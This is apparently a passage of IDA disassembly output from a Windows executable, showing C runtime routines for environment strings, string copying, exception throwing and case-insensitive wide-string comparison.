		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_42620F
		push	3Dh
		push	[ebp+arg_0]
		call	sub_4263F1
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_42620F
		cmp	[ebp+arg_0], esi
		jz	short loc_42620F
		mov	eax, dword_4DB950
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, dword_4DB954
		jnz	short loc_4261F5
		push	eax
		call	sub_42638A
		pop	ecx
		mov	dword_4DB950, eax


loc_4261F5:				; CODE XREF: sub_4261AB+3Cj
		cmp	eax, edi
		jnz	short loc_42624D
		cmp	[ebp+arg_4], edi
		jz	short loc_426217
		cmp	dword_4DB958, edi
		jz	short loc_426217
		call	sub_425E95
		test	eax, eax
		jz	short loc_42624D


loc_42620F:				; CODE XREF: sub_4261AB+Dj
					; sub_4261AB+22j ...
		or	eax, 0FFFFFFFFh


loc_426212:				; CODE XREF: sub_4261AB+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_426217:				; CODE XREF: sub_4261AB+51j
					; sub_4261AB+59j
		cmp	ebx, edi
		jnz	loc_42632B
		push	4
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	dword_4DB950, eax
		jz	short loc_42620F
		mov	[eax], edi
		cmp	dword_4DB958, edi
		jnz	short loc_42624D
		push	4
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	dword_4DB958, eax
		jz	short loc_42620F
		mov	[eax], edi


loc_42624D:				; CODE XREF: sub_4261AB+4Cj
					; sub_4261AB+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, dword_4DB950
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_426332
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_4262AD
		cmp	dword ptr [edi], 0
		jz	short loc_4262AD
		test	ebx, ebx
		jz	short loc_4262A5
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_41B0B1
		pop	ecx


loc_42627F:				; CODE XREF: sub_4261AB+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_42628F
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_42627F
; ---------------------------------------------------------------------------


loc_42628F:				; CODE XREF: sub_4261AB+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_41B202
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4262DF
		jmp	short loc_4262DA
; ---------------------------------------------------------------------------


loc_4262A5:				; CODE XREF: sub_4261AB+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_4262DF
; ---------------------------------------------------------------------------


loc_4262AD:				; CODE XREF: sub_4261AB+BDj
					; sub_4261AB+C2j
		test	ebx, ebx
		jnz	short loc_42632B
		test	esi, esi
		jge	short loc_4262B7
		neg	esi


loc_4262B7:				; CODE XREF: sub_4261AB+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_41B202
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_42620F
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0


loc_4262DA:				; CODE XREF: sub_4261AB+F8j
		mov	dword_4DB950, eax


loc_4262DF:				; CODE XREF: sub_4261AB+F6j
					; sub_4261AB+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_42632B
		push	[ebp+arg_0]
		call	sub_41AFE0
		inc	eax
		inc	eax
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_42632B
		push	[ebp+arg_0]
		push	esi
		call	sub_41BEB0
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		nop
		call	near ptr 2770000h
		push	esi
		call	sub_41B0B1
		pop	ecx


loc_42632B:				; CODE XREF: sub_4261AB+6Ej
					; sub_4261AB+104j ...
		xor	eax, eax
		jmp	loc_426212
sub_4261AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_426332	proc near		; CODE XREF: sub_4261AB+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, dword_4DB950
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_42636D
		mov	edi, [esp+8+arg_4]


loc_426344:				; CODE XREF: sub_426332+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_425E56
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_426363
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_42637D
		test	al, al
		jz	short loc_42637D


loc_426363:				; CODE XREF: sub_426332+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_426344


loc_42636D:				; CODE XREF: sub_426332+Cj
		mov	eax, esi
		sub	eax, dword_4DB950
		sar	eax, 2
		neg	eax


loc_42637A:				; CODE XREF: sub_426332+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42637D:				; CODE XREF: sub_426332+2Bj
					; sub_426332+2Fj
		mov	eax, esi
		sub	eax, dword_4DB950
		sar	eax, 2
		jmp	short loc_42637A
sub_426332	endp


; =============== S U B	R O U T	I N E =======================================



sub_42638A	proc near		; CODE XREF: sub_4261AB+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_426399
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_426399:				; CODE XREF: sub_42638A+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_4263AB


loc_4263A1:				; CODE XREF: sub_42638A+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_4263A1


loc_4263AB:				; CODE XREF: sub_42638A+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_4263CC
		push	9
		call	sub_41DA29
		pop	ecx


loc_4263CC:				; CODE XREF: sub_42638A+38j
		mov	eax, [edi]
		mov	ebx, edi


loc_4263D0:				; CODE XREF: sub_42638A+5Bj
		test	eax, eax
		jz	short loc_4263E7
		push	eax
		add	ebx, 4
		call	sub_426464
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_4263D0
; ---------------------------------------------------------------------------


loc_4263E7:				; CODE XREF: sub_42638A+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_42638A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4263F1	proc near		; CODE XREF: sub_4261AB+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	dword_4DCD9C, 0
		jnz	short loc_42640C
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41BFB0
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42640C:				; CODE XREF: sub_4263F1+Aj
		mov	ecx, [ebp+arg_0]


loc_42640F:				; CODE XREF: sub_4263F1+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_426452
		movzx	edx, al
		test	byte_4DCEA1[edx], 4
		jz	short loc_42643E
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_426449
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_42644D
		jmp	short loc_426446
; ---------------------------------------------------------------------------


loc_42643E:				; CODE XREF: sub_4263F1+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_426452


loc_426446:				; CODE XREF: sub_4263F1+4Bj
		inc	ecx
		jmp	short loc_42640F
; ---------------------------------------------------------------------------


loc_426449:				; CODE XREF: sub_4263F1+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42644D:				; CODE XREF: sub_4263F1+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_426452:				; CODE XREF: sub_4263F1+25j
					; sub_4263F1+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_4263F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_426464	proc near		; CODE XREF: sub_417EEE+21p
					; sub_42638A+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_42648B
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41B4D5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_42648B
		push	esi
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42648B:				; CODE XREF: sub_426464+7j
					; sub_426464+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_426464	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_426490	proc near		; CODE XREF: sub_426573+19p
					; sub_42669A+19p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_40D6EF
		mov	eax, esi
		pop	esi
		retn	8
sub_426490	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264BA	proc near		; CODE XREF: ___:004264E5p
					; sub_426568+6j ...
		push	esi
		mov	esi, ecx
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_40D6B3
		mov	ecx, esi
		pop	esi
		jmp	sub_4268B6
sub_4264BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264D5	proc near		; DATA XREF: ___:00427D10o
					; ___:00427D20o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_4264E1
		mov	eax, offset dword_4276A8

locret_4264E1:				; CODE XREF: sub_4264D5+5j
		retn
sub_4264D5	endp

; ---------------------------------------------------------------------------


loc_4264E2:				; DATA XREF: ___:off_427D0Co
		push	esi
		mov	esi, ecx
		call	sub_4264BA
		test	byte ptr [esp+8], 1
		jz	short loc_4264F8
		push	esi
		call	sub_41CC83
		pop	ecx


loc_4264F8:				; CODE XREF: ___:004264EFj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4264FE	proc near		; CODE XREF: sub_426573+29p
		mov	eax, offset loc_426E32
		call	sub_41CC64
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427D28
		call	sub_42682F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_427D1C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4264FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42654C	proc near		; DATA XREF: ___:off_427D1Co

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426568
		test	[esp+4+arg_0], 1
		jz	short loc_426562
		push	esi
		call	sub_41CC83
		pop	ecx


loc_426562:				; CODE XREF: sub_42654C+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42654C	endp


; =============== S U B	R O U T	I N E =======================================



sub_426568	proc near		; CODE XREF: sub_42654C+3p
					; DATA XREF: ___:00428094o
		mov	dword ptr [ecx], offset	off_427D1C
		jmp	sub_4264BA
sub_426568	endp


; =============== S U B	R O U T	I N E =======================================



sub_426573	proc near		; CODE XREF: sub_40D560+13p
					; sub_40D724+Ep
		mov	eax, offset loc_426E44
		call	sub_41CC64
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp-20h]
		call	sub_426490
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4264FE
		push	offset dword_428090
		lea	eax, [ebp-3Ch]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_426573	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4265B0	proc near		; CODE XREF: sub_4264FE+32p
					; sub_4265D0+32p ...

arg_0		= dword	ptr  4

		push	esi
		xor	eax, eax
		push	0FFFFFFFFh
		mov	esi, ecx
		push	eax
		push	[esp+0Ch+arg_0]
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_40D560
		mov	eax, esi
		pop	esi
		retn	4
sub_4265B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4265D0	proc near		; CODE XREF: sub_42669A+29p
		mov	eax, offset loc_426E56
		call	sub_41CC64
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427D28
		call	sub_42682F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4265D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_426618	proc near		; CODE XREF: sub_426682+7p
					; sub_4266DE+7p ...
		mov	eax, offset loc_426E68
		call	sub_41CC64
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		mov	esi, ecx
		push	edi
		mov	[ebp-10h], esi
		call	sub_42686C
		and	dword ptr [ebp-4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_426618	endp


; =============== S U B	R O U T	I N E =======================================



sub_42665B	proc near		; DATA XREF: ___:off_427D48o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426677
		test	[esp+4+arg_0], 1
		jz	short loc_426671
		push	esi
		call	sub_41CC83
		pop	ecx


loc_426671:				; CODE XREF: sub_42665B+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42665B	endp


; =============== S U B	R O U T	I N E =======================================



sub_426677	proc near		; CODE XREF: sub_42665B+3p
					; DATA XREF: ___:0042813Co
		mov	dword ptr [ecx], offset	off_427D48
		jmp	sub_4264BA
sub_426677	endp


; =============== S U B	R O U T	I N E =======================================



sub_426682	proc near		; CODE XREF: sub_4266F6+46p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426618
		mov	dword ptr [esi], offset	off_427D1C
		mov	eax, esi
		pop	esi
		retn	4
sub_426682	endp


; =============== S U B	R O U T	I N E =======================================



sub_42669A	proc near		; CODE XREF: sub_40D4B0+15p
					; sub_40D509+15p ...
		mov	eax, offset loc_426E7A
		call	sub_41CC64
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp-20h]
		call	sub_426490
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4265D0
		push	offset dword_428138
		lea	eax, [ebp-3Ch]
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_427D48
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_42669A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4266DE	proc near		; CODE XREF: sub_4266F6+28p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426618
		mov	dword ptr [esi], offset	off_427D48
		mov	eax, esi
		pop	esi
		retn	4
sub_4266DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4266F6	proc near		; DATA XREF: ___:00427D14o

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426618
		push	offset dword_428178
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger


loc_426714:				; DATA XREF: ___:00427D50o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4266DE
		push	offset dword_428138
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger


loc_426732:				; DATA XREF: ___:00427D24o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426682
		push	offset dword_428090
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_4266F6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_426750	proc near
		jmp	near ptr 71B2ACCBh
sub_426750	endp

; ---------------------------------------------------------------------------
		cmpsb

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426756	proc near		; CODE XREF: sub_40CE40+5Ep
					; ___:00414BE5p ...
		nop
		jmp	near ptr 71AB1B7Bh
sub_426756	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_42675C	proc near		; CODE XREF: sub_41C8D0+23p
					; sub_41CB74+13p
		jmp	near ptr 2A10000h
sub_42675C	endp

; ---------------------------------------------------------------------------
		db 25h

; =============== S U B	R O U T	I N E =======================================



sub_426762	proc near		; CODE XREF: sub_417275+E2p
					; sub_417275+F9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	dword_4DB9E4, 0
		push	ebx
		jnz	short loc_4267A8
		mov	edx, [esp+4+arg_4]
		mov	ecx, [esp+4+arg_0]


loc_426774:				; CODE XREF: sub_426762+42j
		mov	bx, [ecx]
		cmp	bx, 5Ah
		ja	short loc_426786
		cmp	bx, 41h
		jb	short loc_426786
		add	ebx, 20h


loc_426786:				; CODE XREF: sub_426762+19j
					; sub_426762+1Fj
		mov	ax, [edx]
		cmp	ax, 5Ah
		ja	short loc_426798
		cmp	ax, 41h
		jb	short loc_426798
		add	eax, 20h


loc_426798:				; CODE XREF: sub_426762+2Bj
					; sub_426762+31j
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	bx, bx
		jz	short loc_4267D8
		cmp	bx, ax
		jz	short loc_426774
		jmp	short loc_4267D8
; ---------------------------------------------------------------------------


loc_4267A8:				; CODE XREF: sub_426762+8j
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esp+0Ch+arg_4]


loc_4267B2:				; CODE XREF: sub_426762+72j
		mov	ax, [esi]
		inc	esi
		push	eax
		inc	esi
		call	sub_426913
		mov	ebx, eax
		mov	ax, [edi]
		inc	edi
		push	eax
		inc	edi
		call	sub_426913
		pop	ecx
		test	bx, bx
		pop	ecx
		jz	short loc_4267D6
		cmp	bx, ax
		jz	short loc_4267B2


loc_4267D6:				; CODE XREF: sub_426762+6Dj
		pop	edi
		pop	esi


loc_4267D8:				; CODE XREF: sub_426762+3Dj
					; sub_426762+44j
		movzx	ecx, ax
		movzx	eax, bx
		sub	eax, ecx
		pop	ebx
		retn
sub_426762	endp


; =============== S U B	R O U T	I N E =======================================



sub_4267E2	proc near		; CODE XREF: ___:004267FAp
		mov	dword ptr [ecx], offset	off_427D68
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_4267F6
		push	ecx
		call	sub_41B0B1
		pop	ecx

locret_4267F6:				; CODE XREF: sub_4267E2+Bj
		retn
sub_4267E2	endp

; ---------------------------------------------------------------------------


loc_4267F7:				; DATA XREF: ___:off_427D68o
		push	esi
		mov	esi, ecx
		call	sub_4267E2
		test	byte ptr [esp+8], 1
		jz	short loc_42680D
		push	esi
		call	sub_41CC83
		pop	ecx


loc_42680D:				; CODE XREF: ___:00426804j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_426813:				; DATA XREF: ___:off_427D70o
		push	esi
		mov	esi, ecx
		call	sub_4268B6
		test	byte ptr [esp+8], 1
		jz	short loc_426829
		push	esi
		call	sub_41CC83
		pop	ecx


loc_426829:				; CODE XREF: ___:00426820j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_42682F	proc near		; CODE XREF: sub_4264FE+1Dp
					; sub_4265D0+1Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427D70
		push	dword ptr [edi]
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42685E
		push	dword ptr [edi]
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx


loc_42685E:				; CODE XREF: sub_42682F+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42682F	endp


; =============== S U B	R O U T	I N E =======================================



sub_42686C	proc near		; CODE XREF: sub_426618+16p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427D70
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_4268A9
		push	dword ptr [edi+4]
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_4268AF
		push	dword ptr [edi+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx
		jmp	short loc_4268AF
; ---------------------------------------------------------------------------


loc_4268A9:				; CODE XREF: sub_42686C+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_4268AF:				; CODE XREF: sub_42686C+2Ej
					; sub_42686C+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42686C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4268B6	proc near		; CODE XREF: sub_4264BA+16j
					; ___:00426816p ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_427D70
		jz	short locret_4268CB
		push	dword ptr [ecx+4]
		call	sub_41CC83
		pop	ecx

locret_4268CB:				; CODE XREF: sub_4268B6+Aj
		retn
sub_4268B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4268CC	proc near		; DATA XREF: ___:00427D74o
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_4268D8
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_4268D8:				; CODE XREF: sub_4268CC+5j
		retn
sub_4268CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4268D9	proc near		; CODE XREF: sub_426573+37p
					; sub_42669A+3Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_427D90
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		nop
		call	near ptr 2800000h
		pop	edi
		pop	esi
		leave
		retn	8
sub_4268D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426913	proc near		; CODE XREF: sub_426762+56p
					; sub_426762+63p

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	ax, 0FFFFh
		jnz	short loc_426925
		or	ax, ax
		leave
		retn
; ---------------------------------------------------------------------------


loc_426925:				; CODE XREF: sub_426913+Bj
		cmp	dword_4DB9E4, 0
		jnz	short loc_42693F
		cmp	ax, 41h
		jb	short locret_426986
		cmp	ax, 5Ah
		ja	short locret_426986
		add	eax, 20h
		leave
		retn
; ---------------------------------------------------------------------------


loc_42693F:				; CODE XREF: sub_426913+19j
		cmp	ax, 100h
		jnb	short loc_426959
		push	1
		push	eax
		call	sub_426BC1
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_426959
		mov	ax, word ptr [ebp+arg_0]
		leave
		retn
; ---------------------------------------------------------------------------


loc_426959:				; CODE XREF: sub_426913+30j
					; sub_426913+3Ej
		push	0
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	100h
		push	dword_4DB9E4
		call	sub_426988
		add	esp, 1Ch
		test	eax, eax
		mov	ax, word ptr [ebp+arg_0]
		jz	short locret_426986
		mov	ax, [ebp+var_2]

locret_426986:				; CODE XREF: sub_426913+1Fj
					; sub_426913+25j ...
		leave
		retn
sub_426913	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426988	proc near		; CODE XREF: sub_426913+5Fp

var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427DB0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	esi, esi
		cmp	dword_4DBC3C, esi
		jnz	short loc_4269FE
		push	esi
		push	esi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427940
		mov	edi, 100h
		push	edi
		push	esi
		nop
		call	near ptr 27E0000h
		test	eax, eax
		jz	short loc_4269DC
		mov	dword_4DBC3C, ebx
		jmp	short loc_4269FE
; ---------------------------------------------------------------------------


loc_4269DC:				; CODE XREF: sub_426988+4Aj
		push	esi
		push	esi
		push	ebx
		push	offset dword_4CB4DC
		push	edi
		push	esi
		nop
		call	near ptr 27F0000h
		test	eax, eax
		jz	loc_426B7D
		mov	dword_4DBC3C, 2


loc_4269FE:				; CODE XREF: sub_426988+2Ej
					; sub_426988+52j
		cmp	[ebp+arg_C], esi
		jle	short loc_426A13
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_426B91
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_426A13:				; CODE XREF: sub_426988+79j
		mov	eax, dword_4DBC3C
		cmp	eax, 1
		jnz	short loc_426A3A
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 27E0000h
		jmp	loc_426B7F
; ---------------------------------------------------------------------------


loc_426A3A:				; CODE XREF: sub_426988+93j
		cmp	eax, 2
		jnz	loc_426B7D
		cmp	[ebp+arg_18], esi
		jnz	short loc_426A50
		mov	eax, dword_4DB9F4
		mov	[ebp+arg_18], eax


loc_426A50:				; CODE XREF: sub_426988+BEj
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		call	near ptr 29C1170h
		nop
		mov	[ebp+var_20], eax
		cmp	eax, esi
		jz	loc_426B7D
		mov	[ebp+var_4], esi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_1C], eax
		jmp	short loc_426A96
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		mov	[ebp+var_1C], esi


loc_426A96:				; CODE XREF: sub_426988+100j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	[ebp+var_1C], esi
		jz	loc_426B7D
		push	esi
		push	esi
